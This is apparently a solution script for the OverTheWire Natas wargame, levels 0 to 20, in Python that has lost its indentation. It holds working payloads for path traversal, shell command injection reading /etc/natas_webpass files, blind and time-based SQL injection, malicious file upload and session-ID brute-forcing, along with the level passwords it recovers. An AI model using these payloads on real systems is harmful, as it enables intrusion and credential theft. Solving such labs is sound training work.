import requests,re
username="natas0"
password="natas0"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
if re.findall('The password (.*)',r.text):
print('good')
#<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->
import requests,re
username="natas1"
password="gtVrDuiDfck831PqWsLEZy5gyDz1clto"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
if re.findall('The password (.*)',r.text):
print('good')
#<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->
import requests,re
username="natas2"
password="ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi"
url=str("http://%s.natas.labs.overthewire.org/files/users.txt" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
#natas3: sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14
import requests,re
username="natas3"
password="sJIJNW6ucpu6HPZ1ZAchaDtwd7oGrD14"
url=str("http://%s.natas.labs.overthewire.org/robots.txt" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
#"User-agent: *
#Disallow: /s3cr3t/
url=str("http://%s.natas.labs.overthewire.org/s3cr3t/users.txt" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
#natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ
import requests,re
username="natas4"
password="Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ"
url=str("http://%s.natas.labs.overthewire.org" %username)
headers={"Referer":"http://natas5.natas.labs.overthewire.org/"}
r=requests.get(url,auth=(username,password),headers=headers)
print(r.text)
#Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq
import requests,re
username="natas5"
password="iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.get(url,auth=(username,password))
print(r.cookies)
#<RequestsCookieJar[<Cookie loggedin=0 for natas5.natas.labs.overthewire.org/>]>
cookie={'loggedin':'1'}
r=requests.get(url,auth=(username,password),cookies=cookie)
print(r.text)
#Access granted. The password for natas6 is aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1</div>
import requests,re
username="natas6"
password="aGoY4q2Dc6MgDq4oL4YtoKtyAg9PeHa1"
url=str("http://%s.natas.labs.overthewire.org/includes/secret.inc" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
#<?
#secret = "FOEIUWGHFEEUHOFUOIU";
#?>
url=str("http://%s.natas.labs.overthewire.org/" %username)
r=requests.post(url,auth=(username,password),data={'secret':'FOEIUWGHFEEUHOFUOIU','submit':'submit'})
print(r.text)
#Access granted. The password for natas7 is 7z3hEENjQtflzgnT29q7wAvMNfZdh0i9
import requests,re
username="natas7"
password="7z3hEENjQtflzgnT29q7wAvMNfZdh0i9"
url=str("http://%s.natas.labs.overthewire.org?page=/etc/natas_webpass/natas8" %username)
r=requests.post(url,auth=(username,password))
print(r.text)
# natas8 : DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe
import requests,re
import base64
username="natas8"
password="DBfUBfqQG69KvJvJ1iAbMoIpwSNQ9bWe"
url=str("http://%s.natas.labs.overthewire.org" %username)
Secret = "3d3d516343746d4d6d6c315669563362"
text=base64.b64decode(bytes.fromhex(Secret)[::-1])
text='oubWYf2kBq'
r=requests.post(url,auth=(username,password),data={'secret':text,'submit':'submit'})
print(r.text)
#Access granted. The password for natas9 is W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl
import requests,re
import base64
username="natas9"
password="W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password),data={'needle':';cat /etc/natas_webpass/natas10;','submit':'submit'})
print(r.text)
#The password for natas10 is nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu
import requests
username="natas10"
password="nOpp1igQAkUzaI1GUUjzn1bFVj7xCNzu"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password),data={'needle':'. /etc/natas_webpass/natas11 #','submit':'submit'})
print(r.text)
#The password for natas11 is U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK
import requests
username="natas11"
password="U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK"
url=str("http://%s.natas.labs.overthewire.org" %username)
cookie={'data':'ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK'}
r=requests.post(url,auth=(username,password),cookies=cookie)
print(r.text)
#The password for natas12 is EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3
import requests
import base64
username="natas12"
password="EDXp0pS26wLKHZy1rDBPUZk0RKfLGIR3"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password),data={'filename':'test.php'},files={'uploadedfile':open('test.php','rb')})
print(r.text)
# the password for natas13: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
import requests
import base64
username="natas14"
password="Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1"
url=str("http://%s.natas.labs.overthewire.org" %username)
r=requests.post(url,auth=(username,password),data={'username':'" or "1"="1" #'})
print(r.text)
# Successful login! The password for natas15 is AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J
import requests
import string,re
username="natas15"
password="AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J"
url=str("http://%s.natas.labs.overthewire.org" %username)
passwr=[]
vocabulaire=string.ascii_uppercase+string.ascii_lowercase+string.digits
while(True):
for ele in vocabulaire:
r=requests.post(url,auth=(username,password),data={'username':'natas16" and BINARY password LIKE "'+''.join(passwr)+ele+'%" #'})
if re.findall("This user doesn't exist",r.text):
print("Waiting........",''.join(passwr)+ele)
else:
passwr+=[ele]
print("good........", ''.join(passwr) + ele)
# The password for natas16 is WaIHEacj63wnNIBROHeqi3p9t0m5nhmh
import requests
import string,re
import time
url="http://natas16.natas.labs.overthewire.org/"
username="natas16"
password="WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
header={"Content-Type": "image/jpeg"};
look=string.printable
pas=[]
count=0
vocabulaire=string.digits+string.ascii_uppercase+string.ascii_lowercase
while(True):
for x in vocabulaire:
r = requests.post(url, data={'needle': 'hello$(grep ^'+''.join(pas)+x+' /etc/natas_webpass/natas17)'},auth=(username, password))
d = r.text
if re.findall('hello',r.text):
print('waiting..',''.join(pas)+x)
else:
pas+=[x]
print('find on more',''.join(pas))
# the password natas17 : 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
import requests
import string,re
import time
username="natas17"
password="8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw"
url=str("http://%s.natas.labs.overthewire.org/"%username)
passwd=[]
vocabulaire=string.digits+string.ascii_uppercase+string.ascii_lowercase
while(True):
for ele in vocabulaire:
depart=time.time()
r = requests.post(url,data={'username':'natas18" AND password LIKE binary "'+''.join(passwd)+ele+'%" AND sleep(2) #'},auth=(username, password))
# binary for differenciate between upper case and lower case
final=time.time()
if (final-depart)>2:
passwd+=[ele]
print("goood......",''.join(passwd)+ele)
else:
print("waiting......", final-depart,'.....',''.join(passwd) + ele)
# the password natas18 : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
import requests
import re
username = "natas18"
password = "xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP"
url = str("http://%s.natas.labs.overthewire.org/" % username)
for ele in range(650):
cookies = dict(PHPSESSID=str(ele))
r = requests.post(url,auth=(username, password),cookies=cookies)
if r.text.find('You are logged in as a regular user')!=-1:
print('regular user......',ele)
else:
print('you are logged in as an admin',ele)
print(r.text)
break
# the password natas19 : 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs PHPSESSID=119
import requests
import binascii
username = "natas19"
password = "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs"
url = str("http://%s.natas.labs.overthewire.org/" % username)
for i in range(641):
s=requests.Session()
cookie=dict(PHPSESSID=(str(i)+'-admin').encode("utf-8").hex())
print(cookie)
r = s.post(url,cookies=cookie,auth=(username, password))
if r.text.find('You are logged in as a regular user')!=-1:
print('regular user....',i)
else:
print("you are an admin ")
print(r.text)
break
# the password natas20 : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
import requests
username = "natas20"
password = "eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF"
url = str("http://%s.natas.labs.overthewire.org/?debug=true" % username)
s=requests.Session()
r = s.post(url,data={'name':'admin\nadmin 1'},auth=(username, password))
print(r.text)
print("##"*90)
r = s.post(url,auth=(username, password))
print(r.text)
# the password natas21 : IFekPyrQXftziDEsUr3x21sYuahypdgJ